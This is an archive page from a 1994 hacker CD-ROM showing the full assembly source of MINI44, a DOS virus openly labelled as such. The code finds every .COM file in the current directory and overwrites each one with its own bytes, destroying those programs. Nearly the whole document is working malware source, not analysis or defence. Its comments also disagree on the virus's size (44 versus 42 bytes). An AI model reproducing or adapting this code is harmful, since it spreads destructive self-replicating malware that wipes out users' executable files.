home *** CD-ROM | disk | FTP | other *** search
/ HaCKeRz Kr0nlcKLeZ 1 / HaCKeRz Kr0nlcKLeZ.iso / chibacity / gbbdisk.arj / MINI44 / MINI44.ASM next >
Encoding:
Assembly Source File  |  1994-09-30  |  1.1 KB  |  43 lines

  1. ;44 byte virus, overwrites all the COM files in the current directory.
  2. ;
  3. ;(C) 1994 American Eagle Publications,  Inc.
  4.  
  5. .model  small
  6.  
  7. .code
  8.  
  9.  
  10. FNAME   EQU     9EH                     ;search-function file name result
  11.  
  12.         ORG     100H
  13.  
  14. START:
  15.         mov     ah,4EH                  ;search for *.COM (search first)
  16.         mov     dx,OFFSET COM_FILE
  17.         int     21H
  18.  
  19. SEARCH_LP:
  20.         jc      DONE
  21.         mov     ax,3D01H                ;open file we found
  22.         mov     dx,FNAME
  23.         int     21H
  24.  
  25.         xchg    ax,bx                   ;write virus to file
  26.         mov     ah,40H
  27.         mov     cl,42                   ;size of this virus
  28.         mov     dx,100H                 ;location of this virus
  29.         int     21H
  30.  
  31.         mov     ah,3EH
  32.         int     21H                     ;close file
  33.  
  34.         mov     ah,4FH
  35.         int     21H                     ;search for next file
  36.         jmp     SEARCH_LP
  37. DONE:
  38.         ret                             ;exit to DOS
  39.  
  40. COM_FILE        DB      '*.COM',0       ;string for COM file search
  41.  
  42.         END     START
  43.